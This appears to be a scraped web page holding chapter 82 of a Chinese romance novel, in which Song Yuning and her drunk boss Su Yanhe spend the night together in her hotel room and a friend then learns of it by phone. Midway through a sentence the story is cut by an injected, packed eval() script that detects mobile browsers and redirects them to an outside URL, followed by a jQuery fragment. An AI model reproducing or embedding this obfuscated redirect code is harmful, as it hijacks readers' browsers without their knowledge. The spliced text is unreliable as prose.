082：挤一挤
接过房卡，宋予凝没有第一时间赶回包厢。
想到醉酒的后半夜人会不舒服，她找了最近的一家药房，买了包解酒药放在身边备着。
回来的路上经过一家二十四小时便利店，店门口的广告牌亮起刺眼的霓虹。
宋予凝低着头走进门，再出来时手里多瓶矿泉水，冰冰凉凉的。
一路狂奔回了包厢，谭夏在里头已经等急了：“小美女，你怎么去了这么久啊？”
说话间，从她手里接过房卡，嚷嚷着叫服务生把苏砚和扛上楼。
临走前他似乎想到什么，转过身时，脸上带着意味不明地笑。
“今天辛苦你了。”谭夏说，“你也早点回去休息吧。”
房卡被宋予凝紧紧地攥在手心，捏出了一道红色的印痕。
她脚步虚浮地回到房间，关上门，颓然地倒在床上，重重地吐了口浊气。
屋内灯光明亮，丝丝冷气从空调口徐徐送出。
宋予凝翻了个身，目光不经意地瞥见扔在柜子上的塑料袋，里头还装着刚买来的解酒药。
霎时，胸口莫名地升腾起一股难言的情绪，失落，烦躁，不甘……
她又一次为自己的自作多情感到无力。
身上的热汗被吹凉了，宋予凝脱掉裙子，起身走进浴室冲凉。
水流汩汩地自蓬头涌出，冲刷去了整日的疲倦。
半个钟头后，她赤脚从浴室里出来，一头黑发湿漉漉地淌着水。
搁在台子上的手机嗡嗡震动起来，紧接着房门被人敲响。
声音沉闷而急促，动静之大吓得宋予凝险些将手里的毛巾甩出去。
都这个时间点了，会是谁？
苏砚和吗？他不是喝醉了吗？
宋予凝心下犹疑。
她蹑手蹑脚地踱步上前，额头抵住门板，透过猫眼向外张望。
几乎是在同一时间，一门之隔的屋外传来男人略微沙哑的嗓音。
压着声线喊她：“宋予凝——开门。”
要死了！叫什么啊！
她又惊又怕，全然忘记自己身上只一件单薄的睡裙，直接打开房门。
廊里的灯晦暗不明，苏砚和的脚被地毯绊住，趔趄了两下跌跌撞撞地闯了进去。
宋予凝眼疾手快，健步上前伸手扶住他。
“你、你没事吧？”
“唔……”
卸了力，苏砚和整个人重重地倚在她肩头。
温热的下颌抵住宋予凝冰凉的后颈，带着薄薄酒气的热意喷洒在湿漉漉的皮肤上。
“老、老大……”宋予凝轻声喘气。
说话的同时伸出一条腿，用力一踹门关上了：“……你喝醉了？”
苏砚和确实是喝多了，但还不到醉的程度。
他只是有点难受，胃里翻江倒海，明明在房间里才吐过一回的。
对了，房间里——
苏砚和迷迷糊糊地想：刚才在房间里自己明明给宋予凝打过电话的，她怎么没接？
他向前台问来了宋予凝的房号，坐着电梯下楼找她。
来的路上，五脏六腑犹如搅成一团——晚上的酒太烈，他失算了。
直到进了门，苏砚和才稍微清醒了几分。
箍住她腰身的手渐渐加重了力道，被酒精浸润过的皮肤泛起不寻常的热度。
“你没事吧？”宋予凝觉得快要喘不过气了，一只手虚虚地搂住人，把他往床上带。
苏砚和浑身滚烫，气息灼热，醉酒以后力气颇大，她差点以为自己要被憋死了。
两具身体磕磕绊绊地挪到床畔。
宋予凝的手撑着他的胸口，分出一丝理智：“我买了解酒药……你、你要不要……”
话音未落，苏砚和伸出手，温度烫人的掌心紧紧地贴在她的腕部。
他重重喘着气，神色迷离像在极力忍耐着什么：“东西……拿出来。”
“呃……好、好的，你等下。”她惊慌失色地起身，手指跟打了结似的在药袋里翻找着。
越是急，越是抓不准。
神色慌张到极点，脑子也跟着乱作一团。
手轻轻一挣，整条药袋掉在地上。
袋子里的东西也跟着倒了出来。
宋予凝心下一紧，赶忙弯腰想要去捡，另一只手比她更快地向下探去。
“这是什么？”苏砚和哑声问。
温热清淡的酒气钻进耳朵，宋予凝脸皮瞬时泛起烫意，“我……这个……”
男人手上捏着一个银白的盒子，盒上印着一串热辣的广告词。
更润，更薄，18只装。
宋予凝绝望地闭上眼——
完了，都完了。
她尴尬地咬住唇，虚虚地伸出手，试图上前夺过。
苏砚和灵巧地避开，漆黑的眸子一错不错地落在她身上，气定神闲道：“你……要用这个？”
“我没有！”
“那为什么要买？”
“药店送的！”她找了个借口开始胡扯，“为了预防疾病传播，所以——”
话说到一半，才发现苏砚和正在笑。
他的嘴角微微扬起，犹如平静的湖面被风吹开波纹。
宋予凝怔在原地，脑袋一撇，没出息地自我唾弃。
行吧，看吧……反正她也不是第一次丢人了。
苏砚和总是这样，老神在在地看着她手忙脚乱。
然后再扬了扬眉朝自己示意，过来。
宋予凝没出声，赌气似的一动不动。
沉默了两秒，苏砚和俯身凑近，翘起的唇瓣紧贴着她的耳廓吻了下来。
低沉的气音带着蛊惑，犹如一双罪恶的手把她拉入深渊。
之后的记忆变得混乱又疯狂，撕开的锡纸，凌乱的睡衣，崩开的纽扣，酒精，喘息，碰撞……
还有无数个犹如雨点般密集的亲吻，落在脸上和身上，将她淋湿、填满。
身体幻化成一片叶，一阵风，一朵云……
云层漫开，充沛的雨水淅淅沥沥地落下，浇洒在滚烫的地面，最后升腾成如梦如幻的雾气。
……
不知过了多久，擂鼓声终于结束了。
视野里明亮如昼，意识却仍在浮浮沉沉。
宋予凝斜歪在枕头上，眼底漫出水雾，像只泊岸的鱼，小口小口的喘着气。
男人的手有一下没一下地在她背上轻轻抚动，问：“一起洗吗？”
她哑声抗议：“……不要。”
搭在腰间的手停住了，含笑说：“又生气了？”
“没有。”宋予凝吸了吸鼻子，瓮声瓮气地：“太累了，不想动。”
苏砚和倒是没强求，翻出裤子里的烟盒，撕开那层塑料膜。
宋予凝受不了这味道，捂着鼻子坐了起来：“臭死了，你干嘛？”
“要么去洗澡……”男人语气随意，挑着眉戏谑。
说话的同时，另一只手带着几分凶狠的意味，捏了捏她的侧腰：“要么再来一次？”
这——说——的——是——人——话——吗？！
宋予凝又气又羞，红着脸挣脱他的束缚，三步并作两步地跑浴室避难去了。
苏砚和把玩着zippo沉默了片刻，最后还是将烟盒扔到一旁。
目光透过纱幔望向深蓝色的夜空，苏砚和开始不着边际地陷入沉思。
行将就错至今，他自认为定力不错。
从一开始他们的这段关系里，自己一直把控着主动权。
可是今天怎么……
放着好好的套房不睡，跑这儿来受苦受难，图什么？
无解的命题找不到正确答案，苏砚和愈发感到烦闷。
倏地，浴室门被人打开，宋予凝身上带着一股清香缓缓朝他走近。
走到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224943|165874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床前胡乱擦拭着头发，表情不太情愿地让他也赶紧进去洗洗。
苏砚和下意识地皱了皱眉，沉默不语。
或许是男人的气场过于强大，又或许是暗下来的眼神里夹杂着太多说不清道不明的东西。
宋予凝的表情有点不太自然，被他盯得心头一跳警铃大作。
不会吧……不至于吧？！
自己都已经换上海绵宝宝的睡衣了，多么童趣！
难道这样他也能Y得起来？
宋予凝酝酿了一下，直愣愣地看着他：“……你不去吗？”
对视了片刻，苏砚和觉得一定是自己想多了。
事.后掀开薄被毫无羞耻心地、寸.丝.不.挂地往浴室走。
松了口气，宋予凝愁眉苦脸地坐在床尾，对着另一张被蹂.躏地见不得人的床铺发起呆来。
刚才闹得太凶了，床是没办法睡了……
真愁人。
她沉默了半晌，还没想出对策，手机响了。
屏幕上跳过方柏霓的名字。
宋予凝兴致缺缺地接了起来，简单敷衍。
“在哪儿？”
“……出差。”
“今天是周六。”
“周六也要出差。”宋予凝说：“你有事吗？”
方柏霓那边笑了笑，缓缓道明来意。
她先解释自己之前确实欠了孙隽驰一个人情，继而又阴阳怪气地吐槽孙隽驰斤斤计较，不像个男人，最后才旁敲侧击地和她打听孙隽驰的近况。
话题越说越离谱，宋予凝被勾起了好奇心。
她隐约觉出这事不对劲，又或者不对劲的不是事，而是他们两个人……什么时候这么熟了？
“你跟他……”
似乎是联想到了什么，宋予凝不受控制地问了出口：“你跟他有情况？”
“你想太多了！”
“——你的浴巾呢？”
两道声音一左一右、不约而同地响起。
宋予凝暗骂自己放松了警惕，忙捂住话筒，仰起头朝他做了个噤声的手势。
即便如此，刚才的话还是一字不落地透过无线电波被人捕捉到了。
话筒另一头诡异地沉寂下来，就在宋予凝庆幸自己反应及时时，方柏霓冰冷的声线传来。
“是苏砚和吧？”她口气笃定，一本正经：“你们在一起了？”
“你听我解释——”
方柏霓闻言，带着几分戏弄地调笑：“你跟我解释什么？”
一句话，把宋予凝问得哑口无言。
她下意识地说了声对不起。
说完才觉得没这个必要，但是道歉已经脱口而出了。
方柏霓被她的反应逗乐了，“既然在谈恋爱我就不打扰你了……等见了面咱们再谈。”
话毕毫不犹豫地收了线，没给宋予凝再解释的机会。
手机屏幕将将暗下，映出一张失神的面孔。
苏砚和踱步走近，有些无奈地问，“发什么愣？”
不知道是不是屋子里的空调开得太低了，宋予凝忽然有点头晕。
她的目光直直地对上男人英俊的脸孔，陡然升起一丝被人看穿的错觉。
宋予凝抿着唇，问他：“你要回去了吗？”
不等人回话，又自问自答道：“对——时间也不早了，你回去吧。”
苏砚和刚洗完澡，胯骨处裹着酒店的浴巾，整个人慵懒又散漫地立在她身前。
只见他不慌不忙地翻开烟盒掏出一支，夹在唇间才想起她不喜欢烟味，于是便只咬着滤嘴挑眉道：“这么不待见我？”
宋予凝微怔，这话说得她像一个始乱终弃的渣男。
叫人哭笑不得。
她伸手一指，如实道：“你要是不回去的话，今天晚上我们只能挤一张床。”
端着一张无辜的脸孔，宋予凝十分坦然地把话接下去：“……你确定吗？”